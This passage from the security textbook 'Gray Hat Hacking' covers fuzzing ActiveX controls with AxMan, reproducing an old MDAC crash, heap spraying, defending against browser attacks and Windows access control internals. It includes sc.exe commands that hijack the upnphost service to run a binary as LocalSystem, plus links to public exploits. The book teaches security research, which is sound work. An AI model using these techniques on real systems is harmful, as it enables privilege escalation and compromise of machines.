Reference
Mark of the Web http://msdn.microsoft.com/workshop/author/dhtml/overview/motw.asp
AxFuzz
Most security vulnerabilities in ActiveX controls won’t be as simple to find as a method
named RunCmd() on an already-installed safe-for-scripting control. More often, you’ll
need to dig into how the control’s methods handle data. One easy way to do that is to
fuzz each method with random garbage. AxFuzz was one of the first tools developed to
do exactly that and comes in source form packaged with AxEnum. It turns out, however,
that AxFuzz does not use a very sophisticated fuzzing algorithm. By default, it will only
pass 0 or a long string value for each parameter. So if you want to use AxFuzz, you’ll need
to add the fuzzing smarts yourself. It is only a few pages of code, so you’ll be able to
quickly figure it out if you’d like to put some research into this tool but we will not
discuss it here.
Chapter 15: Client-Side Browser Exploits
377
PART IV
Figure 15-3 SupportSoft install dialog box
AxMan
More recently, H.D. Moore (of Metasploit fame) developed a pretty good COM object
fuzzer called AxMan. AxMan runs in the browser, simulating a real environment in
which to load a COM object. The nice thing about doing this is that every exploitable
crash found by AxMan will be exploitable in the real world. The downside is slow
throughput—IE script reloads each time you want to test a new combination of fuzzed
variables. It also only works with IE6, due to defense-in-depth improvements made to
IE7 in this area. But it’s easy to download the tool (http://metasploit.com/users/hdm/
tools/axman), enumerate the locally installedCOMobjects, and immediately start fuzzing.
AxMan has discovered several serious vulnerabilities leading to Microsoft security
bulletins.
Before fuzzing, AxMan requires you to enumerate the registered COM objects on the
system and includes a tool (axman.exe) that works almost exactly like AxEnum.exe to
dump their associated typelib information. In fact, if you compare axscan.cpp from the
AxMan package to axenum.cpp, you’ll see that H.D. ripped most of axscan straight from
AxEnum (and gives credit to Shane in the comments). However, the output from AxEnum
is a more human-readable format, which is the reason for first introducing AxEnum
earlier.
Axman.exe (the enumeration tool) runs from the command line on your test system
where you’ll be fuzzing. It takes as a single argument the directory where you’d like to
store the output files. Just as with axenum.exe, running axman.exe will probably take a
couple of hours to complete and will pop up various dialog boxes and whatnot along the
way as new processes spawn. When it finishes running, the directory you passed to the
program will have hundreds of files. Most of them will be named in the form {CLSID}.js
like “{00000514-0000-0010-8000-00AA006D2EA4}.js”. The other important file in this
directory is named objects.js and lists the clsid of every registeredCOMobject. It looks like
this:
var ax_objects = new Array(
'CLSID',
'{0000002F-0000-0000-C000-000000000046}',
'{00000100-0000-0010-8000-00AA006D2EA4}',
'{00000101-0000-0010-8000-00AA006D2EA4}',
'{00000103-0000-0010-8000-00AA006D2EA4}',
'{00000104-0000-0010-8000-00AA006D2EA4}',
'{00000105-0000-0010-8000-00AA006D2EA4}',

'{FFCDB781-D71C-4D10-BD5F-0492EAFFD90A}',
'{ffd90217-f7c2-4434-9ee1-6f1b530db20f}',
'{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}',
'{FFF30EA1-AACE-4798-8781-D8CA8F655BCA}'
);
If you get impatient enumerating registeredCOMobjects and kill axman.exe before it
finishes, you’ll need to edit objects.js and add the trailing “);” on the last line. Otherwise
the web UI will not recognize the file. When axman.exe finishes running, H.D. recommends
rebooting your machine to free up system resources consumed by all the COM
processes launched.
Gray Hat Hacking: The Ethical Hacker’s Handbook
378
Now with a well-formed objects.js and a directory full of typelib files, you’re almost
ready to start fuzzing. There are two ways to proceed—you can load the files onto a web
server or use them locally by adding the Mark of the Web (MOTW) like we did earlier.
Either way you’ll want to
1. Copy the contents of the html directory to your web server or to a local
location.
2. Make a subdirectory in that html directory named conf.
3. Copy all the files generated by axenum.exe to the conf subdirectory.
4. If you are running this locally and not using a web server, add the Mark of the
Web to the index.html and fuzzer.html files you just copied over. Remember,
MOTW for the Internet zone is .
You’re now finally ready to start fuzzing. Load the index.html in your browser and
you’ll be presented with a page that looks like the one in Figure 15-4.
Chapter 15: Client-Side Browser Exploits
379
PART IV
Figure 15-4 AxMan interface
Gray Hat Hacking: The Ethical Hacker’s Handbook
380
This system had 4600 registered COM objects! Each was listed in objects.js and had a
corresponding {CLSID}.js in the conf directory. The web UI will happily start cranking
through all 4600, starting at the first or anywhere in the list by changing the Start Index.
You can also test a single object by filling in the CLSID text box and clicking Single.
If you run AxMan for long enough, you will find crashes and a subset of those crashes
will probably be security vulnerabilities. Before you start fuzzing, you’ll want to attach a
debugger to your iexplore.exe process so you can triage the crashes with the debugger as
the access violations roll in or generate crash dumps for offline analysis. One nice thing
about AxMan is the deterministic fuzzing algorithm it uses. Any crash found with
AxMan can be found again by rerunning AxMan against the crashing clsid because it
does the same fuzzing in the same sequence every time it runs.
In this book, we don’t want to disclose vulnerabilities that haven’t yet been reported
to or fixed by the vendor, so let’s use AxMan to look more closely at an already fixed vulnerability.
One of the recent security bulletins from Microsoft at the time of writing this
chapter was MS07-009, a vulnerability in Microsoft Data Access Components (MDAC).
Reading through the security bulletin’s vulnerability details, you can find specific reference
to the ADODB.Connection ActiveX control. Microsoft doesn’t always give as much
technical detail in the bulletin as security researchers would like, but you can always
count on them to be consistent in pointing at least to the affected binary and affected
platforms, as well as providing workarounds. The workarounds listed in the bulletin call
out the clsid (00000514-0000-0010-8000-00AA006D2EA4), but if we want to reproduce
the vulnerability, we need the property name or method name and the arguments
that cause the crash. Let’s see if AxMan can rediscover the vulnerability for us.
TIP If you’re going to follow along with this section, you’ll first want to
disconnect your computer from the Internet because we’re going to expose
our team machine and your workstation to a critical browse-and-you’reowned
security vulnerability. There is no known exploit for this vulnerability
as of this writing, but please, please reapply the security update after you’re done reading.
Because this vulnerability has already been fixed with a Microsoft security update,
you’ll first need to uninstall the security update before you’ll be able to reproduce it.
You’ll find the update in the Add/Remove Programs dialog box as KB 927779.
Reboot your computer after uninstalling the update and open the AxMan web UI.
Plug in the single clsid, click Single, and a few minutes later you’ll have the crash
shown in Figure 15-5.
In the window status field at the bottom of the screen, you can see the property or
method being tested at the time of the crash. In this case, it is the method “Execute” and
we’re passing in a long number as the first field, a string ‘1’ as the second field, and a long
number as the third field.We don’t know yet whether this is an exploitable crash, so let’s
try building up a simple HTML reproduction to do further testing in IE directly.
Chapter 15: Client-Side Browser Exploits
381
PART IV
NOTE If different arguments crash your installation, use those values in place
of the values you see in the HTML here.






Let’s fire that up inside Internet Explorer.
Figure 15-5 ADODB.Connection crash with AxMan
Bingo! You can see in Figure 15-6 that we hit the same crash outside AxMan with a
simple HTML test file. If you test this same HTML snippet after applying the Microsoft
security update, you’ll find it fixed. That was pretty easy! If this were actually a new crash
that reproduced consistently with a fully patched application, the next step would be to
determine whether the crash were exploitable.We learned earlier in the book how to do
this. For any exploitable vulnerability, we’d want to next report it to the affected vendor.
The vulnerability report should include a small HTML snippet likewe created earlier, the
DLL version of the object being tested, and the IE/OS platform.
Okay, let’s say that you’ve e-mailed the vulnerability to the vendor and have received
confirmation of your report. Now you’d like to continue fuzzing both this control and
other objects in your list. Unfortunately, ADODB.Connection was the first ActiveX control
in the list on at least one ofmy test machines, and the Execute() method is very early
in the list of methods. Every time you start fuzzing with AxMan you’ll hit this crash in
the first few minutes. You have a few options if you’d like to finish your fuzzing run.
First, you could start fuzzing at an index after ADODB.Connection. In Figure 15-5, itwas
Gray Hat Hacking: The Ethical Hacker’s Handbook
382
Figure 15-6 ADODB.Connection crash reproduced with a stand-alone HTML test file
Chapter 15: Client-Side Browser Exploits
383
PART IV
index #39, so starting at index #40 would not crash in this exact clsid. However, if you
look at the AxEnum output for ADODB.Connection, or look inside the {00000514-
0000-0010-8000-00AA006D2EA4}.js file, you’ll see there are several other methods in
this same control that we’d like to fuzz. So your other option is to add this specific
method from this specific clsid to AxMan’s skip list. This list is maintained in blacklist.js.
You can exclude an entire clsid, a specific property being fuzzed, or a specific method.
Here’s what the skip list would look like for the Execute method of the ADODB.Connection
ActiveX control:
blmethods["{00000514-0000-0010-8000-00AA006D2EA4}"] = new Array( 'Execute' );
As H.D. Moore points out in the AxMan README file, blacklist.js can double as a list of
discovered bugs if you add each crashing method to the file with a comment showing
the passed-in parameters from the IE status bar.
Lots of interesting things happen when you instantiate every COM object registered
on the system and call every method on each of the installed ActiveX controls. You’ll
find crashes as we saw earlier, but sometimes by-design behavior is even more interesting
than a crash, as evidenced by the RunCmd() SupportSoft ActiveX control. If a “safe”
ActiveX control were to write or read attacker-supplied stuff from a web page into the
registry or disk, that would be potentially interesting behavior. AxMan 1.0 has a feature
to help highlight cases of ActiveX controls doing this type of dangerous thing with
untrusted input from the Internet. AxMan will use the unique string ‘AXM4N’ as part of
property and method fuzzing. So if you run filemon and regmon filtering for ‘AXM4N’
and see that string appear in a registry key operation or file system lookup or write, take a
closer look at the by-design behavior of that ActiveX control to see what you can make it
do. In the AxMan README file, H.D. points out a couple of interesting cases that he has
found in his fuzzing.
AxMan is an interesting browser-based COM object fuzzer that has led to several
Microsoft security bulletins and more than a dozen Microsoft-issued COM object kill
bits. COM object fuzzing with AxMan is one of the easier ways to find new vulnerabilities
today. Download it and give it a try!
References
AxMan homepage http://metasploit.com/users/hdm/tools/axman/
ADODB.Connection security bulletin www.microsoft.com/technet/security/Bulletin/MS07-
009.mspx
Heap Spray to Exploit
Back in the day, security experts believed that buffer overruns on the stack were exploitable,
but that heap-based buffer overruns were not. And then techniques emerged to
make too-large buffer overruns into heap memory exploitable for code execution. But
some people still believed that crashes due to a component jumping into uninitialized
or bogus heap memory were not exploitable. However, that changed with the introduction
of InternetExploiter from a hacker named Skylined.
InternetExploiter
How would you control execution of an Internet Explorer crash that jumped off into
random heap memory and died? That was probably the question Skylined asked himself
in 2004 when trying to develop an exploit for the IFRAME vulnerability that was
eventually fixed with MS04-040. The answer is that you would make sure the heap location
jumped to is populated with your shellcode or a nop sled leading to your shellcode.
But what if you don’t know where that location is, or what if it continually changes? Skylined’s
answer was just to fill the process’s entire heap with nop sled and shellcode! This
is called “spraying” the heap.
An attacker-controlled web page running in a browser with JavaScript enabled has a
tremendous amount of control over heap memory. Scripts can easily allocate an arbitrary
amount of memory and fill it with anything. To fill a large heap allocation with
nop slide and shellcode, the only trick is to make sure that the memory used stays as a
contiguous block and is not broken up across heap chunk boundaries. Skylined knew
that the heap memory manager used by IE allocates large memory chunks in 0x40000-
byte blocks with 20 bytes reserved for the heap header. So a 0x40000 – 20 byte allocation
would fit neatly and completely into one heap block. InternetExploiter programmatically
concatenated a nop slide (usually 0x90 repeated) and the shellcode to be the
proper size allocation. It then created a simple JavaScript Array() and filled lots and lots
of array elements with this built-up heap block. Filling 500+ MB of heap memory with
nop slide and shellcode grants a fairly high chance that the IE memory error jumping off
into “random” heap memory will actually jump into InternetExploiter-controlled heap
memory.
In the “References” section that follows, we’ve included a number of real-world
exploits that used InternetExploiter to heap spray. The best way to learn how to turn IE
crashes jumping off into random heap memory into reliable, repeatable exploits via
heap spray is to study these examples and try out the concepts for yourself. You should
try to build an unpatched XPSP1 VPC with the Windows debugger for this purpose.
Remove the heap spray from each exploit and watch as IE crashes with execution pointing
out into random heap memory. Then try the exploit with heap spray and inspect
memory after the heap spray finishes before the vulnerability is triggered. Finally, step
through the assembly when the vulnerability is triggered and watch how the nop slide is
encountered and then the shellcode is run.
References
InternetExploiter homepage (outdated) www.edup.tudelft.nl/~bjwever/menu.html.php
MS04-040 exploit www.milw0rm.com/exploits/612
MS05-002 exploit www.milw0rm.com/exploits/753
MS05-037 exploit www.milw0rm.com/exploits/1079
MS06-013 exploit www.milw0rm.com/exploits/1606
MS06-055 exploit www.milw0rm.com/exploits/2408
Gray Hat Hacking: The Ethical Hacker’s Handbook
384
Protecting Yourself from Client-Side Exploits
This chapter was not meant to scare you away from browsing the Web or using e-mail.
The goal was to outline how browser-based client-side attacks happen and what access
an attacker can leverage from a successful attack.We also want to point out how you can
either protect yourself completely from client-side attacks, or drastically reduce the
effect of a successful client-side attack on your workstation.
Keep Up-to-Date on Security Patches
This one can almost go without saying, but it’s important to point out that most realworld
compromises are not due to zero-day attacks. Most compromises are the result of
unpatched workstations. Leverage the convenience of automatic updates to apply
Internet Explorer security updates as soon as you possibly can. If you’re in charge of the
security of an enterprise network, conduct regular scans to find workstations that are
missing patches and get them updated. This is the single most important thing you can
do to protect yourself from malicious cyberattacks of any kind.
Stay Informed
Microsoft is actually pretty good about warning users about active attacks abusing
unpatched vulnerabilities in Internet Explorer. Their security response center blog
(http://blogs.technet.com/msrc/) gives regular updates about attacks, and their security
advisories (www.microsoft.com/technet/security/advisory/) give detailed workaround
steps to protect from vulnerabilities before the security update is available. Both are
available as RSS feeds and are low-noise sources of up-to-date, relevant security guidance
and intelligence.
Run Internet-Facing Applications
with Reduced Privileges
Even with all security updates applied and having reviewed the latest security information
available, you still might be the target of an attack abusing a previously unknown
vulnerability or a particularly clever social-engineering scam. You might not be able to
prevent the attack, but there are several ways you can prevent the payload from running.
First, Internet Explorer 7 on Windows Vista runs by default in Protected Mode. This
means that IE operates at low rights even if the logged-in user is a member of the Administrators
group. More specifically, IE will be unable to write to the file system or registry
and will not be able to launch processes. Lots of magic goes on under the covers and you
can read more about it by browsing the links in the references. One weakness of Protected
Mode is that an attack could still operate in memory and send data off the victim
workstation over the Internet. However, it works great to prevent user-mode or kernelmode
rootkits from being loaded via a client-side vulnerability in the browser.
Only Vista has the built-in infrastructure to make Protected Mode work. However,
given a little more work, you can run at a reduced privilege level on down-level
Chapter 15: Client-Side Browser Exploits
385
PART IV
platforms as well. One way is via a SAFER Software Restriction Policy (SRP) on Windows
XP and later. The SAFER SRP allows you to run any application (such as Internet
Explorer) as a Normal/Basic User, Constrained/Restricted User, or as an Untrusted User.
Running as a Restricted or Untrusted User will likely break lots of stuff because
%USERPROFILE% is inaccessible and the registry (even HKCU) is read-only. However,
running as a Basic User simply removes the Administrator SID from the process token.
(You can learn more about SIDs, tokens, and ACLs in the next chapter.) Without administrative
privileges, any malware that does run will not be able to install a key logger,
install or start a server, or install a new driver to establish a rootkit. However, the
malware still runs on the same desktop as other processes with administrative privileges,
so the especially clever malware could inject into a higher privilege process or remotely
control other processes via Windows messages. Despite those limitations, running as a
limited user via a SAFER Software Restriction Policy greatly reduces the attack surface
exposed to client-side attacks. You can find a great article by Michael Howard about
SAFER in the “References” section that follows.
Mark Russinovich, formerly on SysInternals and now a Microsoft employee, also
published a way that users logged-in as administrators can run IE as limited users. His
psexec command takes a –l argument that will strip out the administrative privileges
from the token. The nice thing about psexec is that you can create shortcuts on the desktop
for a “normal,” fully privileged IE session or a limited user IE session. Using this
method is as simple as downloading psexec from sysinternals.com, and creating a new
shortcut that launches something like the following:
psexec –l –d "c:\Program Files\Internet Explorer\IEXPLORE.EXE"
You can read more about using psexec to run as a limited user from Mark’s blog entry
link in the “References” section next.
References
www.grayhathackingbook.com
Protected Mode in Vista IE7 http://blogs.msdn.com/ie/archive/2006/02/09/528963.aspx
SAFER Software Restriction Policy http://msdn2.microsoft.com/en-us/library/
ms972802.aspx
Limited User with PSEXEC http://blogs.technet.com/markrussinovich/archive/2006/03/02/
running-as-limited-user-the-easy-way.aspx
Running as Non-Admin Blog http://blogs.msdn.com/aaron_margosis
Gray Hat Hacking: The Ethical Hacker’s Handbook
386
CHAPTER16 Exploiting Windows
Access Control Model
for Local Elevation
of Privilege
This chapter will teach you about Windows Access Control and how to find instances
of misconfigured access control exploitable for local privilege escalation.
• Why study access control?
• How Windows Access Control works
• Tools for analyzing access control configurations
• Special SIDs, special access, and denied access
• Analyzing access control for attacks
• Attack patterns for each interesting object type
• What other object types are out there?
Why Access Control Is Interesting to a Hacker
Access control is about the science of protecting things. Finding vulnerabilities in poorly
implemented access control is fun because it feels like what security is all about. It isn’t
blindly sending huge, long strings into small buffers or performing millions of iterations
of brute-force fuzzing to stumble across a crazy edge case not handled properly;
neither is it tricking Internet Explorer into loading an object not built to be loaded in a
browser. Exploiting access control vulnerabilities is more about elegantly probing,
investigating, and then exploiting the single bit in the entire system that was coded
incorrectly and then compromising the whole system because of that one tiny mistake.
It usually leaves no trace that anything happened and can sometimes even be done without
shellcode or even a compiler. It’s the type of hacking James Bond would do if he
were a hacker. It’s cool for lots of reasons, some of which are discussed next.
Most People Don’t Understand Access Control
Lots of people understand buffer overruns and SQL injection and integer overflows. It’s
rare, however, to find a security professional who deeply understands Windows Access
387
Control and the types of exploitable conditions that exist in this space. After you read this
chapter, try asking your security buddies if they remember when Microsoft granted DC to
AUon upnphost and howeasy thatwas to exploit—expect them to give you funny looks.
This ignorance of access control basics extends also to software professionals writing
code for big, important products. Windows does a good job by default with access control,
but many software developers (Microsoft included) override the defaults and introduce
security vulnerabilities along the way. This combination of uninformed software
developers and lack of public security research means lots of vulnerabilities are waiting
to be found in this area.
Vulnerabilities You Find Are Easy to Exploit
The upnphost example mentioned was actually a vulnerability fixed by Microsoft in
2006. The access control governing the Universal Plug and Play (UPnP) service on Windows
XP allowed any user to control which binary was launched when this service was
started. It also allowed any user to stop and start the service. Oh, and Windows includes
a built-in utility (sc.exe) to change what binary is launched when a service starts and
which account to use when starting that binary. So exploiting this vulnerability on Windows
XP SP1 as an unprivileged user was literally as simple as:
> sc config upnphost binPath= c:\attack.exe obj= ".\LocalSystem" password= ""
> sc stop upnphost
> sc start upnphost
Bingo! The built-in service that is designed to do Plug and Play stuff was just subverted
to instead run your attack.exe tool. Also, it ran in the security context of the most
powerful account on the system, LocalSystem. No fancy shellcode, no trace if you
change it back, no need to even use a compiler if you already have an attack.exe ready to
use. Not all vulnerabilities in access control are this easy to exploit, but once you understand
the concepts, you’ll quickly understand the path to privilege escalation, even if
you don’t yet know how to take control of execution via a buffer overrun.
You’ll Find Tons of Security Vulnerabilities
It seems like most large products that have a component running at an elevated privilege
level are vulnerable to something in this chapter. A routine audit of a class of software might
find hundreds of elevation of privilege vulnerabilities. The deeper you go into this area, the
more amazed you’ll be at the sheer number of vulnerabilities waiting to be found.
How Windows Access Control Works
To fully understand the attack process described later in the chapter, it’s important to
first understand how Windows Access Control works. This introductory section is large
because access control is such a rich topic. But if you stick with it and fully understand
each part of this, it will pay off with a deep understanding of this greatly misunderstood
topic, allowing you to find more and more elaborate vulnerabilities.
Gray Hat Hacking: The Ethical Hacker’s Handbook
388
PART IV
This section will be a walkthrough of the four key foundational components you’ll
need to understand to attack Windows Access Control: the security identifier (SID), the
access token, the security descriptor (SD), and the access check.
Security Identifier (SID)
Every user and every entity for which the system needs to make a trust decision is
assigned a security identifier (SID). The SID is created when the entity is created and
remains the same for the life of that entity. No two entities on the same computer will
ever have the same SID. The SID is a unique identifier that shows up every place a user or
other entity needs to be identified. You might think, “Why doesn’t Windows just use the
username to identify the user?” Imagine that a server has a user JimBob for a time and
then that user is deleted. Windows will allowyou sometime later to create a new account
and also name it JimBob. After all, the old JimBob has been deleted and is gone, so there
will be no name conflict. However, this new JimBob needs to be identified differently
than the old JimBob. Even though they have the same logon name, they might need different
access privileges. So it’s important to have some other unique identifier besides
the username to identify a user. Also, other things besides users have SIDs. Groups and
even logon sessions will be assigned a SID for reasons you’ll see later.
SIDs come in several different flavors. Every system has internal, well-known SIDs
that identify built-in accounts and are always the same on every system. They come in
the form S-[revision level]-[authority value]-[identifier]. For example:
• SID: S-1-5-18 is the LocalSystem account. It’s the same on every Windows machine.
• SID: S-1-5-19 is the Local Service account on every XP and later system.
• SID: S-1-5-20 is the Network Service account on every XP and later system.
SIDs also identify local groups and those SIDs look like this:
• SID: S-1-5-32-544 is the built-in Administrators group.
• SID: S-1-5-32-545 is the built-in Users group.
• SID: S-1-5-32-550 is the built-in Print Operators group.
And SIDs can identify user accounts relative to a workstation or domain. Each of
those SIDs will include a string of numbers identifying the workstation or domain following
by a relative identifier (RID) that identifies the user or group within the universe
of that workstation or domain. The examples that follow are for my XP machine:
• SID: S-1-5-21-1060284298-507921405-1606980848-500 is the local Administrator
account.
• SID: S-1-5-21-1060284298-507921405-1606980848-501 is the local Guest
account.
• SID: S-1-5-21-1060284298-507921405-1606980848-1004 is a local Workstation
account.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
389
NOTE The RID of the original local Administrator account is always 500. You
might even hear the Administrator be called the “500 account.”
Access Token
Allowme to start the explanation of access tokens with an example that might help you
understand them. If you work in an environment with controlled entry, you are probably
familiar with presenting your badge to a security guard or a card reader to gain
access. Your badge identifies who you are and might also designate you as a member of a
certain group having certain rights and privileges. For example,my blue badge grants me
access at times when a yellow badge or purple badge is denied entry. My security badge
also grants me access to enter a private lab wheremy test machines are stored. This is an
access right granted to me by name; not all full-time employees are granted that access.
Windows access tokens work in a similar manner as my employee badge. The access
token is a container of all a user’s security information and it is checked when that user
requests access to a secured resource. Specifically, the access token contains the
following:
• Security identifier (SID) for the user’s account
• SIDs for each of the groups for which the user is a member
• A logon SID that identifies the current logon session, useful in Terminal
Services cases to maintain isolation between the same user logged in with
multiple sessions
• A list of the privileges held by either the user or the user’s groups
• Any restrictions on the privileges or group memberships
• A bunch of other flags to support running as a less-privileged user
Despite all the preceding talk about tokens in relation to users, tokens are actually
connected to processes and threads. Every process gets its own token describing the user
context under which the process is running. Many processes launched by the logged-in
user will just get a copy of the token of its originating process. An example token from an
example usermode process is shown in Figure 16-1.
You can see that this process is running under a user named jness on the workstation
JNESS2. It runs on logon session #0 and this token includes membership in various
groups:
• BUILTIN\Administrators and BUILTIN\Users.
• The “Everyone” group.
• JNESS2\None is the global group membership on this non-domain-joined
workstation.
• LOCAL implies that this is a console logon.
Gray Hat Hacking: The Ethical Hacker’s Handbook
390
• The Logon SID, useful for securing resources accessible only to this particular
logon session.
• NT AUTHORITY\Authenticated Users is in every token whose owner
authenticated when they logged on. Tokens attached to processes originated
from anonymous logons do not contain this group.
• NT AUTHORITY\INTERACTIVE exists only for users who log on interactively.
Below the group list, you can see specific privileges granted to this process that have
been granted to either the user (JNESS2\jness) explicitly or to one of the groups to which
jness belongs.
Having per-process tokens is a powerful feature that enables scenarios that would
otherwise be impossible. In the real world, my boss, who sits across the hall from me,
can borrow my employee badge to walk down the hall and grant himself access to the
private lab to which I have access, effectively impersonating me. Windows allows a similar
type of impersonation. You might know of the RunAs feature. This allows one user,
given proper authentication, to run processes as another user or even as themselves with
fewer privileges. RunAs works by creating a new process having an impersonation token
or a restricted token.
PART IV
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
391
Figure 16-1 Process token
Let’s take a closer look at this functionality, especially the token magic that happens
under the covers. You can launch the RunAs user interface by right-clicking a program,
shortcut, or Start menu entry in Windows. Run As will be one of the options and will
present the dialog box in Figure 16-2.
What do you think it means to run a program as the current user but choosing to
“Protect my computer and data from unauthorized program activity”? Let’s open Process
Explorer and find out! In this case, I ran cmd.exe in this special mode. Process
Explorer’s representation of the token is shown in Figure 16-3.
Let’s compare this token with the one attached to the process launched by the same
user in the same logon session earlier (Figure 16-1). First, notice that the token’s user is
still JNESS2\jness. This has not changed and this will be interesting later as we think
about ways to circumvent Windows Access Control. However, notice that in this token
the Administrators group is present but denied. So even though the user JNESS2\jness is
an Administrator on the JNESS2 workstation, the Administrators group membership
has been explicitly denied. Next you’ll notice that each of the groups that was in the
token before now has a matching restricted SID token. Anytime this token is presented
to gain access to a secured resource, both the token’s Restricted group SIDs and its normal
group SIDs must have access to the resource or permission will be denied. Finally,
notice that all but one of the named Privileges (and all the good ones) have been
removed from this restricted token. For an attacker (or for malware), running with a
restricted token is a lousy experience—you can’t do much of anything. In fact, let’s try
a few things:
dir C:\
Gray Hat Hacking: The Ethical Hacker’s Handbook
392
Figure 16-2 Run As dialog box
PART IV
The restricted token does allow normal file-system access.
cd c:\documents and settings\jness  Access Denied!
The restricted token does not allow access to my own user profile.
dir c:\program files\internet explorer\iexplore.exe
The restricted token does allow access to program files.
c:\debuggers\ntsd
Debugging the process launched with the restricted token works fine.
c:\debuggers\ntsd  Access Denied!
Debugging the MSN Messenger launched with a normal token fails!
As we continue in this chapter, think about how a clever hacker running on the desktop
of an Administrator but running in a process with a restricted token could break out
of restricted token jail and run with a normal, privileged token. (Hint: The desktop is the
security boundary.)
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
393
Figure 16-3 Restricted token
Security Descriptor (SD)
It’s important to understand the token because that is half of the AccessCheck operation,
the operation performed by the operating system anytime access to a securable object is
requested. The other half of the AccessCheck operation is the security descriptor (SD) of
the object for which access is being requested. The security descriptor describes the security
protections of the object by listing all the entities that are allowed access to the
object. More specifically, the SD holds the owner of the object, the Discretionary Access
Control List (DACL), and a System Access Control List (SACL). The DACL describes who
can and cannot access a securable object by listing each access granted or denied in a
series of access control entries (ACEs). The SACL describes what the system should audit
and is not as important to describe in this section, other than to point out how to recognize
it. (Every few months, someone will post to a security mailing list pointing out
what they believe to be a weak DACL when, in fact, it is just a SACL.)
Let’s look at a sample security descriptor to get started. Figure 16-4 shows the security
descriptor attached to C:\Program Files on Windows XP SP2. This directory is a great
example to work through, first describing the security descriptor, and then showing you
how you can do the same analysis yourself with free, downloadable tools.
First, notice that the owner of the C:\Program Files directory is the Administrators
group. The security descriptor structure itself stores a pointer to the SID of the Administrators
group. Next, notice that the DACL has nine access control entries (ACEs). The
four in the left column are allow ACEs, the four on the right are inheritance ACEs, and the
final one is a special Creator Owner ACE.
Gray Hat Hacking: The Ethical Hacker’s Handbook
394
Figure 16-4 C:\Program Files security descriptor
Let’s spend a few minutes dissecting the first ACE (ACE[0]), which will help you understand
the others. ACE[0] grants a specific type of access to the group BUILTIN\Users. The
hex string 0x001200A9 corresponds to an access mask that can describe whether each possible
access type is either granted or denied. (Don’t “check out” here because you think
you won’t be able to understand this—you can and will be able to understand!) As you
can see in Figure 16-5, the low-order 16 bits in 0x001200A9 are specific to files and directories.
The next eight bits are for standard access rights, which apply to most types of
objects. And the final four high-order bits are used to request generic access rights that any
object can map to a set of standard and object-specific rights.
With a little help fromMSDN(http://msdn2.microsoft.com/en-us/library/aa822867
.aspx), let’s break down 0x001200A9 to determine what access the Users group is
granted to the C:\Program Files directory. If you convert 0x001200A9 from hex to
binary, you’ll see six 1’s and fifteen 0’s filling positions 0 through 20 in Figure 16-5. The
1’s are at 0x1, 0x8, 0x20, 0x80, 0x20000, and 0x100000.
• 0x1 = FILE_LIST_DIRECTORY (Grants the right to list the contents of the
directory.)
• 0x8 = FILE_READ_EA (Grants the right to read extended attributes.)
• 0x20 = FILE_TRAVERSE (The directory can be traversed.)
• 0x80 = FILE_READ_ATTRIBUTES (Grants the right to read file attributes.)
• 0x20000 = READ_CONTROL (Grants the right to read information in the
security descriptor, not including the information in the SACL.)
• 0x100000 = SYNCHRONIZE (Grants the right to use the object for
synchronization.)
See, that wasn’t so hard. Now we know exactly what access rights are granted to the
BUILTIN\Users group. This correlates with the GUI view that the Windows XP Explorer
provides as you can see in Figure 16-6.
After looking through the rest of the ACEs, we’ll show you how to use tools that are
quicker than deciphering 32-bit access masks by hand and faster than clicking through
four Explorer windows to get the rights granted by each ACE. But now, given the access
PART IV
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
395
Figure 16-5 Access mask
rights bitmask and MSDN, you can decipher the unfiltered access rights described by an
allow ACE and that’s pretty cool.
ACE Inheritance
ACE[1] also applies to the Users group but it controls inheritance. The word “inheritance”
here means that new subdirectories under C:\Program Files will have a DACL
containing an ACE granting the described access to the Users group. Referring back to
the security descriptor in the Figure 16-4, we see that the access granted will be
0xA0000000 (0x20000000 + 0x80000000).
• 0x20000000 = GENERIC_EXECUTE (Equivalent of FILE_TRAVERSE, FILE_
READ_ATTRIBUTES, READ_CONTROL, and SYNCHRONIZE)
• 0x80000000 = GENERIC_READ (Equivalent of FILE_LIST_DIRECTORY, FILE_
READ_EA, FILE_READ_ATTRIBUTES, READ_CONTROL, and SYNCHRONIZE)
Gray Hat Hacking: The Ethical Hacker’s Handbook
396
Figure 16-6 Windows DACL representation
So it appears that newly created subdirectories of C:\Program Files by default will
have an ACE granting the same access to the Users group that C:\Program Files itself has.
The final interesting portion of ACE[1] is the inheritance flags. In this case, the inheritance
flags are OICIIO. These flags are explained in Table 16-1.
Now, after having deciphered all of ACE[1], we see that the last two letters (IO) in this
representation of the ACE mean that the ACE is not at all relevant to the C:\Program
Files directory itself. ACE[1] exists only to supply a default ACE to newly created child
objects of C:\Program Files.
We have now looked at ACE[0] and ACE[1] of the C:\Program Files security
descriptor DACL. We could go through the same exercise with ACEs 2–8 but now that
you understand how the access mask and inheritance work, let’s skip past that for now
and look at the AccessCheck function. This will be the final architectural-level concept
you need to understand before we can start talking about the fun stuff.
The Access Check
This section will not offer complete, exhaustive detail about the Windows AccessCheck
function. In fact, we will deliberately leave out details that will be good for you to know
eventually, but not critical for you to understand right now. If you’re reading along and
you already know about how the AccessCheck function works and find that we’re being
misleading about it, just keep reading and we’ll peel back another layer of the onion
later in the chapter. We’re anxious right now to get to attacks, so will be giving only the
minimum detail needed.
The core function of the Windows access control model is handling a request for a certain
access right by comparing the access token of the requesting process against the
protections provided by the security descriptor of the object requested. Windows implements
this logic in a function called AccessCheck. The two phases of the AccessCheck functionwe
are going to talk about in this section are the privilege check and theDACL check.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
397
PART IV
OI (Object Inheritance) New noncontainer child objects will be explicitly granted this ACE
on creation, by default. In our directory example, “noncontainer
child objects” is a fancy way of saying “files.” This ACE would be
inherited in the same way a file would get a normal effective ACE.
New container child objects will not receive this ACE effectively
but will have it as an inherit-only ACE to pass on to their child
objects. In our directory example, “container child objects” is a
fancy way of saying “subdirectories.”
CI (Container Inheritance) Container child objects inherit this ACE as a normal effective ACE.
This ACE has no effect on noncontainer child objects.
IO (Inherit Only) Inherit-only ACEs don’t actually affect the object to which they are
attached. They exist only to be passed on to child objects.
Table 16-1 Inheritence flags
AccessCheck’s Privilege Check
Remember that the AccessCheck is a generic function that is done before granting access
to any securable object or procedure. Our examples so far have been resource and filesystem
specific, but the first phase of the AccessCheck function is not. Certain APIs
require special privilege to call, and Windows makes that access check decision in this
